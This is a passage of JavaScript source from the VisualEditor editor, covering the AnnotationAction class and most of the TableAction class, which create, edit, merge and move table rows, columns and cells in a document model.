OO.inheritClass( ve.ui.AnnotationAction, ve.ui.Action );

/* Static Properties */

ve.ui.AnnotationAction.static.name = 'annotation';

ve.ui.AnnotationAction.static.methods = [ 'set', 'clear', 'toggle', 'clearAll' ];

/* Methods */

/**
 * Set an annotation.
 *
 * @param {string} name Annotation name, for example: 'textStyle/bold'
 * @param {Object} [data] Additional annotation data
 * @return {boolean} Action was executed
 */
ve.ui.AnnotationAction.prototype.set = function ( name, data ) {
	ve.track( 'activity.' + name, { action: 'set' } );
	return this.setInternal( name, data );
};

/**
 * Clear an annotation.
 *
 * @param {string} name Annotation name, for example: 'textStyle/bold'
 * @param {Object} [data] Additional annotation data
 * @return {boolean} Action was executed
 */
ve.ui.AnnotationAction.prototype.clear = function ( name, data ) {
	ve.track( 'activity.' + name, { action: 'clear' } );
	this.surface.getModel().getFragment().annotateContent( 'clear', name, data );
	return true;
};

/**
 * Toggle an annotation.
 *
 * If the selected text is completely covered with the annotation already the annotation will be
 * cleared. Otherwise the annotation will be set.
 *
 * @param {string} name Annotation name, for example: 'textStyle/bold'
 * @param {Object} [data] Additional annotation data
 * @return {boolean} Action was executed
 */
ve.ui.AnnotationAction.prototype.toggle = function ( name, data ) {
	var surfaceModel = this.surface.getModel(),
		fragment = surfaceModel.getFragment(),
		annotation = ve.dm.annotationFactory.create( name, data );

	if ( !fragment.getSelection().isCollapsed() ) {
		ve.track( 'activity.' + name, { action: 'toggle-selection' } );
		if ( !fragment.getAnnotations().containsComparable( annotation ) ) {
			this.setInternal( name, data );
		} else {
			fragment.annotateContent( 'clear', name );
		}
	} else if ( surfaceModel.sourceMode ) {
		return false;
	} else {
		ve.track( 'activity.' + name, { action: 'toggle-insertion' } );
		var insertionAnnotations = surfaceModel.getInsertionAnnotations();
		var existingAnnotations = insertionAnnotations.getAnnotationsByName( annotation.name );
		var removes = annotation.constructor.static.removes;
		if ( existingAnnotations.isEmpty() ) {
			var removesAnnotations = insertionAnnotations.filter( function ( ann ) {
				return removes.indexOf( ann.name ) !== -1;
			} );
			surfaceModel.removeInsertionAnnotations( removesAnnotations );
			surfaceModel.addInsertionAnnotations( annotation );
		} else {
			surfaceModel.removeInsertionAnnotations( existingAnnotations );
		}
	}
	return true;
};

/**
 * Clear all annotations.
 *
 * @return {boolean} Action was executed
 */
ve.ui.AnnotationAction.prototype.clearAll = function () {
	var surfaceModel = this.surface.getModel(),
		fragment = surfaceModel.getFragment(),
		annotations = fragment.getAnnotations( true );

	ve.track( 'activity.allAnnotations', { action: 'clear-all' } );

	var arr = annotations.get();
	// TODO: Allow multiple annotations to be set or cleared by ve.dm.SurfaceFragment, probably
	// using an annotation set and ideally building a single transaction
	for ( var i = 0, len = arr.length; i < len; i++ ) {
		fragment.annotateContent( 'clear', arr[ i ].name, arr[ i ].data );
	}
	surfaceModel.setInsertionAnnotations( null );
	return true;
};

/**
 * Internal implementation of set(). Do not use this, use set() instead.
 *
 * @private
 * @param {string} name Annotation name, for example: 'textStyle/bold'
 * @param {Object} [data] Additional annotation data
 * @return {boolean} Action was executed
 */
ve.ui.AnnotationAction.prototype.setInternal = function ( name, data ) {
	var fragment = this.surface.getModel().getFragment(),
		annotationClass = ve.dm.annotationFactory.lookup( name );

	if ( fragment.getSelection() instanceof ve.dm.LinearSelection ) {
		var trimmedFragment = fragment.trimLinearSelection();
		if ( !trimmedFragment.getSelection().isCollapsed() ) {
			fragment = trimmedFragment;
		}
	}

	var removes = annotationClass.static.removes;
	for ( var i = removes.length - 1; i >= 0; i-- ) {
		fragment.annotateContent( 'clear', removes[ i ] );
	}
	fragment.annotateContent( 'set', name, data );
	return true;
};

/* Registration */

ve.ui.actionFactory.register( ve.ui.AnnotationAction );
ui/actions/ve.ui.TableAction.js000066600000111303151334753760012412 0ustar00/*!
 * VisualEditor ContentEditable TableNode class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 * @license The MIT License (MIT); see LICENSE.txt
 */

/**
 * Table action.
 *
 * @class
 * @extends ve.ui.Action
 *
 * @constructor
 * @param {ve.ui.Surface} surface Surface to act on
 * @param {string} [source]
 */
ve.ui.TableAction = function VeUiTableAction() {
	// Parent constructor
	ve.ui.TableAction.super.apply( this, arguments );
};

/* Inheritance */

OO.inheritClass( ve.ui.TableAction, ve.ui.Action );

/* Static Properties */

ve.ui.TableAction.static.name = 'table';

ve.ui.TableAction.static.methods = [
	'create', 'insert', 'moveRelative', 'move', 'delete', 'importTable',
	'changeCellStyle', 'mergeCells', 'enterTableCell', 'exitTableCell'
];

/* Methods */

/**
 * Creates a new table.
 *
 * @param {Object} [options] Table creation options
 * @param {boolean} [options.caption] Include a caption
 * @param {boolean} [options.header] Include a header row
 * @param {number} [options.cols=4] Number of columns
 * @param {number} [options.rows=3] Number of rows (not including optional header row)
 * @param {Object} [options.type='table'] Table node type, must inherit from table
 * @param {Object} [options.attributes] Attributes to give the table
 * @return {boolean} Action was executed
 */
ve.ui.TableAction.prototype.create = function ( options ) {
	options = options || {};

	var type = options.type || 'table';
	var tableElement = { type: type };
	var surfaceModel = this.surface.getModel();
	var fragment = surfaceModel.getFragment();
	var data = [];
	var numberOfCols = options.cols || 4;
	var numberOfRows = options.rows || 3;

	if ( !( fragment.getSelection() instanceof ve.dm.LinearSelection ) ) {
		return false;
	}

	if ( options.attributes ) {
		tableElement.attributes = ve.copy( options.attributes );
	}

	data.push( tableElement );
	if ( options.caption ) {
		data.push(
			{ type: 'tableCaption' },
			{ type: 'paragraph', internal: { generated: 'wrapper' } },
			{ type: '/paragraph' },
			{ type: '/tableCaption' }
		);
	}
	data.push( { type: 'tableSection', attributes: { style: 'body' } } );
	if ( options.header ) {
		data = data.concat( ve.dm.TableRowNode.static.createData( { style: 'header', cellCount: numberOfCols } ) );
	}
	for ( var i = 0; i < numberOfRows; i++ ) {
		data = data.concat( ve.dm.TableRowNode.static.createData( { style: 'data', cellCount: numberOfCols } ) );
	}
	data.push( { type: '/tableSection' } );
	data.push( { type: '/' + type } );

	fragment.insertContent( data, false );
	surfaceModel.setSelection( new ve.dm.TableSelection(
		fragment.getSelection().getRange(), 0, 0, 0, 0
	) );

	ve.track( 'activity.table', { action: 'create' } );

	return true;
};

/**
 * Inserts a new row or column into the currently focused table.
 *
 * @param {string} mode Insertion mode; 'row' to insert a new row, 'col' for a new column
 * @param {string} position Insertion position; 'before' to insert before the current selection,
 *   'after' to insert after it
 * @return {boolean} Action was executed
 */
ve.ui.TableAction.prototype.insert = function ( mode, position ) {
	var surfaceModel = this.surface.getModel(),
		selection = surfaceModel.getSelection();

	if ( !( selection instanceof ve.dm.TableSelection ) ) {
		return false;
	}

	var index;
	if ( mode === 'col' ) {
		index = position === 'before' ? selection.startCol : selection.endCol;
	} else {
		index = position === 'before' ? selection.startRow : selection.endRow;
	}

	var documentModel = surfaceModel.getDocument();
	if ( position === 'before' ) {
		if ( mode === 'col' ) {
			selection = selection.newFromAdjustment( documentModel, 1, 0 );
		} else {
			selection = selection.newFromAdjustment( documentModel, 0, 1 );
		}
		surfaceModel.setSelection( selection );
	}
	this.insertRowOrCol( selection.getTableNode( documentModel ), mode, index, position, selection );

	ve.track( 'activity.table', { action: 'insert-' + mode } );

	return true;
};

/**
 * Move a column or row relative to its current position
 *
 * @param {string} mode Move mode; 'col' or 'row'
 * @param {string} direction Direction; 'before' or 'after'
 * @return {boolean} Action was executed
 */
ve.ui.TableAction.prototype.moveRelative = function ( mode, direction ) {
	var surfaceModel = this.surface.getModel(),
		selection = surfaceModel.getSelection();

	if ( !( selection instanceof ve.dm.TableSelection ) ) {
		return false;
	}

	var documentModel = surfaceModel.getDocument();
	var matrix = selection.getTableNode( documentModel ).getMatrix();
	var index;
	if ( mode === 'row' ) {
		if ( direction === 'before' ) {
			index = Math.max( 0, selection.startRow - 1 );
		} else {
			index = Math.min( matrix.getRowCount(), selection.endRow + 2 );
		}
	} else {
		if ( direction === 'before' ) {
			index = Math.max( 0, selection.startCol - 1 );
		} else {
			index = Math.min( matrix.getMaxColCount(), selection.endCol + 2 );
		}
	}
	return this.move( mode, index );
};

/**
 * Move a column or row.
 *
 * @param {string} mode Move mode; 'col' or 'row'
 * @param {number} index Row or column index to move to
 * @return {boolean} Action was executed
 */
ve.ui.TableAction.prototype.move = function ( mode, index ) {
	var surfaceModel = this.surface.getModel(),
		selection = surfaceModel.getSelection();

	if ( !( selection instanceof ve.dm.TableSelection ) ) {
		return false;
	}

	var documentModel = surfaceModel.getDocument();
	var tableNode = selection.getTableNode( documentModel );
	var matrix = tableNode.getMatrix();

	var removedMatrix, newOffsets;
	if ( mode === 'row' ) {
		removedMatrix = this.deleteRowsOrColumns( matrix, mode, selection.startRow, selection.endRow );
		if ( index > selection.endRow ) {
			index = index - selection.getRowCount();
		}
		newOffsets = [
			selection.fromCol,
			index,
			selection.toCol,
			index + selection.getRowCount() - 1
		];
	} else {
		removedMatrix = this.deleteRowsOrColumns( matrix, mode, selection.startCol, selection.endCol );
		if ( index > selection.endCol ) {
			index = index - selection.getColCount();
		}
		newOffsets = [
			index,
			selection.fromRow,
			index + selection.getColCount() - 1,
			selection.toRow
		];
	}
	var position;
	if ( index === 0 ) {
		position = 'before';
	} else {
		index--;
		position = 'after';
	}
	for ( var i = removedMatrix.length - 1; i >= 0; i-- ) {
		this.insertRowOrCol( tableNode, mode, index, position, null, removedMatrix[ i ] );
	}
	// Only set selection once for performance
	surfaceModel.setSelection( new ve.dm.TableSelection(
		// tableNode range was changed by deletion
		tableNode.getOuterRange(),
		newOffsets[ 0 ], newOffsets[ 1 ], newOffsets[ 2 ], newOffsets[ 3 ]
	) );

	ve.track( 'activity.table', { action: 'move-' + mode } );

	return true;
};

/**
 * Deletes selected rows, columns, or the whole table.
 *
 * @param {string} mode Deletion mode; 'row' to delete rows, 'col' for columns, 'table' to remove the whole table
 * @return {boolean} Action was executed
 */
ve.ui.TableAction.prototype.delete = function ( mode ) {
	var selection = this.getTableSelectionFromSelection();

	if ( !( selection instanceof ve.dm.TableSelection ) ) {
		return false;
	}

	var documentModel = this.surface.getModel().getDocument();
	var tableNode = selection.getTableNode( documentModel );
	// Either delete the table or rows or columns
	if ( mode === 'table' ) {
		this.deleteTable( tableNode );
	} else {
		var minIndex, maxIndex, isFull;
		if ( mode === 'col' ) {
			minIndex = selection.startCol;
			maxIndex = selection.endCol;
			isFull = selection.isFullRow( documentModel );
		} else {
			minIndex = selection.startRow;
			maxIndex = selection.endRow;
			isFull = selection.isFullCol( documentModel );
		}
		// Delete the whole table if all rows or cols get deleted
		if ( isFull ) {
			this.deleteTable( tableNode );
		} else {
			this.deleteRowsOrColumns( tableNode.matrix, mode, minIndex, maxIndex );
		}
	}

	ve.track( 'activity.table', { action: 'delete' + ( mode !== 'table' ? ( '-' + mode ) : '' ) } );

	return true;
};

/**
 * Import a table at the current selection, overwriting data cell by cell
 *
 * @param {ve.dm.TableNode} importedTableNode Table node to import
 * @param {boolean} importInternalList Import the table document's internalLiist
 * @return {boolean} Action was executed
 */
ve.ui.TableAction.prototype.importTable = function ( importedTableNode, importInternalList ) {
	var importedMatrix = importedTableNode.getMatrix(),
		surfaceModel = this.surface.getModel(),
		documentModel = surfaceModel.getDocument(),
		selection = surfaceModel.getSelection(),
		tableNode = selection.getTableNode( documentModel ),
		matrix = tableNode.getMatrix();

	var i, l;
	// Increase size of table to fit imported table
	for ( i = 0, l = selection.startRow + importedMatrix.getRowCount() - matrix.getRowCount(); i < l; i++ ) {
		this.insertRowOrCol( tableNode, 'row', matrix.getRowCount() - 1, 'after' );
	}
	for ( i = 0, l = selection.startCol + importedMatrix.getMaxColCount() - matrix.getMaxColCount(); i < l; i++ ) {
		this.insertRowOrCol( tableNode, 'col', matrix.getMaxColCount() - 1, 'after' );
	}
	var row, col, cell;
	// Unmerge all cells in the target area
	for ( row = importedMatrix.getRowCount() - 1; row >= 0; row-- ) {
		for ( col = importedMatrix.getColCount( row ) - 1; col >= 0; col-- ) {
			cell = matrix.getCell( selection.fromRow + row, selection.fromCol + col );
			// Missing cell(s), add cell(s) onto the end of the row
			while ( !cell ) {
				surfaceModel.change(
					ve.dm.TransactionBuilder.static.newFromInsertion(
						documentModel, matrix.getRowNode( selection.fromRow + row ).getRange().end,
						ve.dm.TableCellNode.static.createData()
					)
				);
				cell = matrix.getCell( selection.fromRow + row, selection.fromCol + col );
			}
			if ( cell.isPlaceholder() || cell.node.getColspan() > 1 || cell.node.getRowspan() > 1 ) {
				this.unmergeCell( matrix, cell.owner );
			}
		}
	}
	// Overwrite data
	for ( row = importedMatrix.getRowCount() - 1; row >= 0; row-- ) {
		for ( col = importedMatrix.getColCount( row ) - 1; col >= 0; col-- ) {
			cell = matrix.getCell( selection.fromRow + row, selection.fromCol + col );
			var cellRange = cell.node.getRange();
			var importedCell = importedMatrix.getCell( row, col );
			if ( !importedCell ) {
				// Cell not found in source table. Likely some sort of invalid or sparse
				// table matrix (T262842). Just ignore the empty cell.
				continue;
			}
			if ( importedCell.node.type !== cell.node.type ) {
				// Since the imported cell isn't the same type as the
				// existing cell, we can't quite trust our assumptions about
				// how it's supposed to work. As such, it's safer to outright
				// replace the cell rather than trying to be clever and switch
				// out the attributes / data. We shouldn't have gotten to this
				// point without it being Cellable, so this should at least
				// work.
				surfaceModel.change( ve.dm.TransactionBuilder.static.newFromReplacement(
					documentModel, cell.node.getOuterRange(),
					importedTableNode.getDocument().getData( importedCell.node.getOuterRange() )
				) );
			} else if ( !importedCell.isPlaceholder() ) {
				// Remove the existing cell contents
				surfaceModel.change( ve.dm.TransactionBuilder.static.newFromRemoval( documentModel, cellRange ) );
				// Attribute changes are performed separately, and removing the whole
				// cell could change the dimensions of the table
				var txBuilders = [
					ve.dm.TransactionBuilder.static.newFromAttributeChanges.bind( null,
						documentModel, cellRange.start - 1,
						ve.copy( importedCell.node.element.attributes )
					)
				];
				if ( importInternalList ) {
					txBuilders.push(
						ve.dm.TransactionBuilder.static.newFromDocumentInsertion.bind( null,
							documentModel, cellRange.start,
							importedTableNode.getDocument(),
							importedCell.node.getRange()
						)
					);
				} else {
					txBuilders.push(
						ve.dm.TransactionBuilder.static.newFromInsertion.bind( null,
							documentModel, cellRange.start,
							importedTableNode.getDocument().getData( importedCell.node.getRange() )
						)
					);
				}
				// Perform the insertion as a separate change so the internalList offsets are correct
				txBuilders.forEach( function ( txBuilder ) {
					surfaceModel.change( txBuilder() );
				} );
			} else {
				// Remove the existing cell completely
				surfaceModel.change( ve.dm.TransactionBuilder.static.newFromRemoval( documentModel, cell.node.getOuterRange() ) );
			}
		}
	}
	surfaceModel.setSelection(
		new ve.dm.TableSelection(
			tableNode.getOuterRange(),
			selection.startCol, selection.startRow,
			selection.startCol + importedMatrix.getMaxColCount() - 1,
			selection.startRow + importedMatrix.getRowCount() - 1
		)
	);
	return true;
};

/**
 * Change cell style
 *
 * @param {string} style Cell style; 'header' or 'data'
 * @return {boolean} Action was executed
 */
ve.ui.TableAction.prototype.changeCellStyle = function ( style ) {
	var surfaceModel = this.surface.getModel(),
		selection = surfaceModel.getSelection();

	if ( !( selection instanceof ve.dm.TableSelection ) ) {
		return false;
	}

	var txBuilders = [];
	var documentModel = surfaceModel.getDocument();
	var ranges = selection.getOuterRanges( documentModel );
	for ( var i = ranges.length - 1; i >= 0; i-- ) {
		txBuilders.push(
			ve.dm.TransactionBuilder.static.newFromAttributeChanges.bind( null,
				documentModel, ranges[ i ].start, { style: style }
			)
		);
	}
	txBuilders.forEach( function ( txBuilder ) {
		surfaceModel.change( txBuilder() );
	} );

	ve.track( 'activity.table', { action: 'style-' + style } );

	return true;
};

/**
 * Merge multiple cells into one, or split a merged cell.
 *
 * @return {boolean} Action was executed
 */
ve.ui.TableAction.prototype.mergeCells = function () {
	var surfaceModel = this.surface.getModel(),
		selection = surfaceModel.getSelection();

	if ( !( selection instanceof ve.dm.TableSelection ) ) {
		return false;
	}

	var txBuilders = [];
	var documentModel = surfaceModel.getDocument();
	var matrix = selection.getTableNode( documentModel ).getMatrix();
	var cells;
	if ( selection.isSingleCell( documentModel ) ) {
		// Split
		cells = selection.getMatrixCells( documentModel );
		this.unmergeCell( matrix, cells[ 0 ] );

		ve.track( 'activity.table', { action: 'cell-split' } );
	} else {
		// Merge
		if ( !selection.isMergeable( documentModel ) ) {
			return false;
		}
		cells = selection.getMatrixCells( documentModel );
		txBuilders.push(
			ve.dm.TransactionBuilder.static.newFromAttributeChanges.bind( null,
				documentModel, cells[ 0 ].node.getOuterRange().start,
				{
					colspan: 1 + selection.endCol - selection.startCol,
					rowspan: 1 + selection.endRow - selection.startRow
				}
			)
		);

		var i, l;
		var contentData;
		// Find first cell with content
		for ( i = 0, l = cells.length; i < l; i++ ) {
			contentData = new ve.dm.ElementLinearData(
				documentModel.getStore(),
				documentModel.getData( cells[ i ].node.getRange() )
			);
			if ( contentData.hasContent() ) {
				// If the first cell contains content, we don't need to move any content
				if ( !i ) {
					contentData = null;
				}
				break;
			}
		}
		// Remove placeholders
		for ( i = cells.length - 1; i >= 1; i-- ) {
			txBuilders.push(
				ve.dm.TransactionBuilder.static.newFromRemoval.bind( null,
					documentModel, cells[ i ].node.getOuterRange()
				)
			);
		}
		// Move the first-found content to the merged cell
		if ( contentData ) {
			txBuilders.push(
				ve.dm.TransactionBuilder.static.newFromReplacement.bind( null,
					documentModel, cells[ 0 ].node.getRange(), contentData.data
				)
			);
		}
		txBuilders.forEach( function ( txBuilder ) {
			surfaceModel.change( txBuilder() );
		} );

		var hasNonPlaceholders, r, c, cell;
		// Check for rows filled with entirely placeholders. If such a row exists, delete it.
		for ( r = selection.endRow; r >= selection.startRow; r-- ) {
			hasNonPlaceholders = false;
			for ( c = 0; ( cell = matrix.getCell( r, c ) ) !== undefined; c++ ) {
				if ( cell && !cell.isPlaceholder() ) {
					hasNonPlaceholders = true;
					break;
				}
			}
			if ( !hasNonPlaceholders ) {
				this.deleteRowsOrColumns( matrix, 'row', r, r );
			}
		}

		// Check for columns filled with entirely placeholders. If such a column exists, delete it.
		for ( c = selection.endCol; c >= selection.startCol; c-- ) {
			hasNonPlaceholders = false;
			for ( r = 0; ( cell = matrix.getCell( r, c ) ) !== undefined; r++ ) {
				if ( cell && !cell.isPlaceholder() ) {
					hasNonPlaceholders = true;
					break;
				}
			}
			if ( !hasNonPlaceholders ) {
				this.deleteRowsOrColumns( matrix, 'col', c, c );
			}
		}

		ve.track( 'activity.table', { action: 'cell-merge' } );
	}
	return true;
};

/**
 * Enter a table cell for editing
 *
 * @return {boolean} Action was executed
 */
ve.ui.TableAction.prototype.enterTableCell = function () {
	var tableNode = this.findClosestTableViewNode();

	if ( !tableNode ) {
		return false;
	}

	tableNode.setEditing( true );
	this.surface.getView().focus();
	return true;
};

/**
 * Exit a table cell for table-structure-editing
 *
 * @return {boolean} Action was executed
 */
ve.ui.TableAction.prototype.exitTableCell = function () {
	var tableNode = this.findClosestTableViewNode();

	if ( !tableNode ) {
		return false;
	}

	tableNode.setEditing( false );
	this.surface.getView().focus();
	return true;
};

/* Low-level API */
// TODO: This API does only depends on the model so it should possibly be moved

/**
 * Deletes a whole table.
 *
 * @param {ve.dm.TableNode} tableNode Table node
 */
ve.ui.TableAction.prototype.deleteTable = function ( tableNode ) {
	this.surface.getModel().getLinearFragment( tableNode.getOuterRange() ).delete();
};

/**
 * Unmerge a cell
 *
 * @param {ve.dm.TableMatrix} matrix Table matrix the cell is in
 * @param {ve.dm.TableMatrixCell} ownerCell The cell to unmerge
 */
ve.ui.TableAction.prototype.unmergeCell = function ( matrix, ownerCell ) {
	var txBuilders = [],
		colspan = ownerCell.node.getColspan(),
		rowspan = ownerCell.node.getRowspan(),
		surfaceModel = this.surface.getModel(),
		documentModel = surfaceModel.getDocument();

	txBuilders.push(
		ve.dm.TransactionBuilder.static.newFromAttributeChanges.bind( null,
			documentModel, ownerCell.node.getOuterRange().start,
			{ colspan: 1, rowspan: 1 }
		)
	);
	for ( var row = ownerCell.row + rowspan - 1; row >= ownerCell.row; row-- ) {
		for ( var col = ownerCell.col + colspan - 1; col >= ownerCell.col; col-- ) {
			var cell = matrix.getCell( row, col );
			if ( cell.isPlaceholder() ) {
				txBuilders.push(
					this.replacePlaceholder(
						matrix,
						cell,
						{ style: ownerCell.node.getStyle() }
					)
				);
			}
		}
	}
	txBuilders.forEach( function ( txBuilder ) {
		surfaceModel.change( txBuilder() );
	} );
};

/**
 * Inserts a new row or column.
 *
 * Example: a new row can be inserted after the 2nd row using
 *
 *    insertRowOrCol( table, 'row', 1, 'after' );
 *
 * @param {ve.dm.TableNode} tableNode Table node
 * @param {string} mode Insertion mode; 'row' or 'col'
 * @param {number} index Row or column index of the base row or column.
 * @param {string} position Insertion position; 'before' or 'after'
 * @param {ve.dm.TableSelection} [selection] Selection to move to after insertion
 * @param {Object} [dataMatrixLine] Data to insert
 * @param {Array} [dataMatrixLine.rowData] Row data if inserting a row
 * @param {ve.dm.TableMatrixCell[]} [dataMatrixLine.cells] Table cells to insert
 */
ve.ui.TableAction.prototype.insertRowOrCol = function ( tableNode, mode, index, position, selection, dataMatrixLine ) {
	var matrix = tableNode.matrix,
		insertCells = [],
		insertData = [],
		txBuilders = [],
		updated = {},
		inserts = [],
		surfaceModel = this.surface.getModel();

	var before = position === 'before';

	// Note: when we insert a new row (or column) we might need to increment a span property
	// instead of inserting a new cell.
	// To achieve this we look at the so called base row and a so called reference row.
	// The base row is the one after or before which the new row will be inserted.
	// The reference row is the one which is currently at the place of the new one.
	// E.g. consider inserting a new row after the second: the base row is the second, the
	// reference row is the third.
	// A span must be increased if the base cell and the reference cell have the same 'owner'.
	// E.g.:  C* | P**; C | P* | P**, i.e., one of the two cells might be the owner of the other,
	// or vice versa, or both a placeholders of a common cell.

	// The index of the reference row or column
	var refIndex = index + ( before ? -1 : 1 );
	// Cells of the selected row or column
	var cells, refCells;
	if ( mode === 'row' ) {
		cells = matrix.getRow( index ) || [];
		refCells = matrix.getRow( refIndex ) || [];
	} else {
		cells = matrix.getColumn( index ) || [];
		refCells = matrix.getColumn( refIndex ) || [];
	}

	var i, l;
	var cell, refCell;
	for ( i = 0, l = Math.max( cells.length, dataMatrixLine ? dataMatrixLine.cells.length : 0 ); i < l; i++ ) {
		cell = cells[ i ];
		if ( !cell ) {
			if ( dataMatrixLine && dataMatrixLine.cells[ i ] ) {
				// If we've been given data to fill the empty cells with, do so
				insertCells.push( dataMatrixLine.cells[ i ] );
			}
			// Either way, continue on to the next cell
			continue;
		}
		refCell = refCells[ i ];
		// Detect if span update is necessary
		if ( refCell && ( cell.isPlaceholder() || refCell.isPlaceholder() ) ) {
			if ( cell.node === refCell.node ) {
				cell = cell.owner || cell;
				if ( !updated[ cell.key ] ) {
					// Note: we can safely record span modifications as they do not affect range offsets.
					txBuilders.push( this.incrementSpan( cell, mode ) );
					updated[ cell.key ] = true;
				}
				// Resolve merged cell conflicts when moving
				if ( dataMatrixLine && dataMatrixLine.cells[ i ].owner.data && !dataMatrixLine.cells[ i ].owner.conflicted ) {
					if ( dataMatrixLine.cells[ i ].isPlaceholder() ) {
						// If placeholders conflict, collapse their owners
						dataMatrixLine.cells[ i ].owner.data[ 0 ].attributes.colspan = 1;
						dataMatrixLine.cells[ i ].owner.data[ 0 ].attributes.rowspan = 1;
					}
					// Mark owner (could be self) as conflicted so placeholders know it didn't get inserted
					dataMatrixLine.cells[ i ].owner.conflicted = true;
				}
				continue;
			}
		}
		// If it is not a span changer, we record the base cell as a reference for insertion
		inserts.push( cell );
		if ( dataMatrixLine ) {
			insertCells.push( dataMatrixLine.cells[ i ] );
		}
	}

	var range, offset, rowNode;
	// Inserting a new row differs completely from inserting a new column:
	// For a new row, a new row node is created, and inserted relative to an existing row node.
	// For a new column, new cells are inserted into existing row nodes at appropriate positions,
	// i.e., relative to an existing cell node.
	if ( mode === 'row' ) {
		if ( !dataMatrixLine ) {
			insertData = ve.dm.TableRowNode.static.createData( {
				cellCount: inserts.length,
				style: cells.map( function ( c ) {
					return c.node.getStyle();
				} )
			} );
		} else {
			insertData.push( dataMatrixLine.row[ 0 ] );
			insertCells.forEach( function ( c ) {
				if ( c && c.data ) {
					insertData = insertData.concat( c.data );
				} else if ( !( c && c.isPlaceholder() && c.owner.data && !c.owner.conflicted ) ) {
					// If a placeholder, and the owner was not inserted, created a blank cell
					insertData = insertData.concat( ve.dm.TableCellNode.static.createData() );
				}
			} );
			insertData.push( dataMatrixLine.row[ 1 ] );
		}
		while ( ( rowNode = matrix.getRowNode( index ) ) === undefined ) {
			index--;
		}
		range = rowNode.getOuterRange();
		offset = before ? range.start : range.end;
		txBuilders.push( ve.dm.TransactionBuilder.static.newFromInsertion.bind( null, surfaceModel.getDocument(), offset, insertData ) );
	} else {
		// Make sure that the inserts are in descending offset order
		// so that the transactions do not affect subsequent range offsets.
		inserts.sort( ve.dm.TableMatrixCell.static.sortDescending );

		// For inserting a new cell we need to find a reference cell node
		// which we can use to get a proper insertion offset.
		for ( i = 0; i < inserts.length; i++ ) {
			cell = inserts[ i ];
			if ( !cell ) {
				continue;
			}
			// If the cell is a placeholder this will find a close cell node in the same row
			refCell = matrix.findClosestCell( cell );
			var style;
			if ( refCell ) {
				range = refCell.node.getOuterRange();
				// If the found cell is before the base cell the new cell must be placed after it, in any case,
				// Only if the base cell is not a placeholder we have to consider the insert mode.
				if ( refCell.col < cell.col || ( refCell.col === cell.col && !before ) ) {
					offset = range.end;
				} else {
					offset = range.start;
				}
				style = refCell.node.getStyle();
			} else {
				// If there are only placeholders in the row, we use the row node's inner range
				// for the insertion offset
				rowNode = range = matrix.getRowNode( cell.row );
				if ( !rowNode ) {
					continue;
				}
				range = rowNode.getRange();
				offset = before ? range.start : range.end;
				style = cells[ 0 ].node.getStyle();
			}
			var cellData;
			if ( !dataMatrixLine ) {
				cellData = ve.dm.TableCellNode.static.createData( { style: style } );
			} else {
				cell = dataMatrixLine.cells[ cell.row ];
				cellData = [];
				if ( cell && cell.data ) {
					cellData = cell.data;
				} else if ( !( cell && cell.isPlaceholder() && cell.owner.data && !cell.owner.conflicted ) ) {
					// If a placeholder, and the owner was not inserted, created a blank cell
					cellData = ve.dm.TableCellNode.static.createData();
				}
			}
			txBuilders.push( ve.dm.TransactionBuilder.static.newFromInsertion.bind( null, surfaceModel.getDocument(), offset, cellData ) );
		}
	}
	txBuilders.forEach( function ( txBuilder ) {
		var tx = txBuilder();
		selection = selection && selection.translateByTransaction( tx );
		surfaceModel.change( tx );
	} );
	if ( selection ) {
		surfaceModel.change( null, selection );
	}
};

/**
 * Increase the span of a cell by one.
 *
 * @param {ve.dm.TableMatrixCell} cell Table matrix cell
 * @param {string} mode Span to increment; 'row' or 'col'
 * @return {Function} Zero-argument function returning a ve.dm.Transaction
 */
ve.ui.TableAction.prototype.incrementSpan = function ( cell, mode ) {
	var data;
	if ( mode === 'row' ) {
		data = { rowspan: cell.node.getRowspan() + 1 };
	} else {
		data = { colspan: cell.node.getColspan() + 1 };
	}

	var surfaceModel = this.surface.getModel();
	return ve.dm.TransactionBuilder.static.newFromAttributeChanges.bind( null, surfaceModel.getDocument(), cell.node.getOuterRange().start, data );
};

/**
 * Decreases the span of a cell so that the given interval is removed.
 *
 * @param {ve.dm.TableMatrixCell} cell Table matrix cell
 * @param {string} mode Span to decrement 'row' or 'col'
 * @param {number} minIndex Smallest row or column index (inclusive)
 * @param {number} maxIndex Largest row or column index (inclusive)
 * @return {Function} Zero-argument function returning a ve.dm.Transaction
 */
ve.ui.TableAction.prototype.decrementSpan = function ( cell, mode, minIndex, maxIndex ) {
	var span = ( minIndex - cell[ mode ] ) + Math.max( 0, cell[ mode ] + cell.node.getSpans()[ mode ] - 1 - maxIndex );
	var data;
	if ( mode === 'row' ) {
		data = { rowspan: span };
	} else {
		data = { colspan: span };
	}

	var surfaceModel = this.surface.getModel();
	return ve.dm.TransactionBuilder.static.newFromAttributeChanges.bind( null, surfaceModel.getDocument(), cell.node.getOuterRange().start, data );
};

/**
 * Deletes rows or columns within a given range.
 *
 * e.g. rows 2-4 can be deleted using
 *
 *    ve.ui.TableAction.deleteRowsOrColumns( matrix, 'row', 1, 3 );
 *
 * @param {ve.dm.TableMatrix} matrix Table matrix
 * @param {string} mode 'row' or 'col'
 * @param {number} minIndex Smallest row or column index to be deleted
 * @param {number} maxIndex Largest row or column index to be deleted (inclusive)
 * @return {Object[]} Plain sub-matrix of items removed. In column mode this matrix is transposed.
 */
ve.ui.TableAction.prototype.deleteRowsOrColumns = function ( matrix, mode, minIndex, maxIndex ) {
	var removedMatrix = [],
		cells = [],
		txBuilders = [],
		adapted = {},
		actions = [],
		surfaceModel = this.surface.getModel(),
		documentModel = surfaceModel.getDocument();

	// Deleting cells can have two additional consequences:
	// 1. The cell is a Placeholder. The owner's span must be decreased.
	// 2. The cell is owner of placeholders which get orphaned by the deletion.
	//    The first of the placeholders now becomes the real cell, with the span adjusted.
	//    It also inherits all of the properties and content of the removed cell.
	// Insertions and deletions of cells must be done in an appropriate order, so that the transactions
	// do not interfere with each other. To achieve that, we record insertions and deletions and
	// sort them by the position of the cell (row, column) in the table matrix.

	var row, col;
	if ( mode === 'row' ) {
		for ( row = minIndex; row <= maxIndex; row++ ) {
			cells = cells.concat( matrix.getRow( row ) );
		}
	} else {
		for ( col = minIndex; col <= maxIndex; col++ ) {
			cells = cells.concat( matrix.getColumn( col ) );
		}
	}

	var i, l;
	for ( i = 0, l = cells.length; i < l; i++ ) {
		var cell = cells[ i ];
		if ( !cell ) {
			continue;
		}
		if ( cell.isPlaceholder() ) {
			var key = cell.owner.key;
			if ( !adapted[ key ] ) {
				// Note: we can record this transaction immediately, as it does not have an effect on the
				// node range
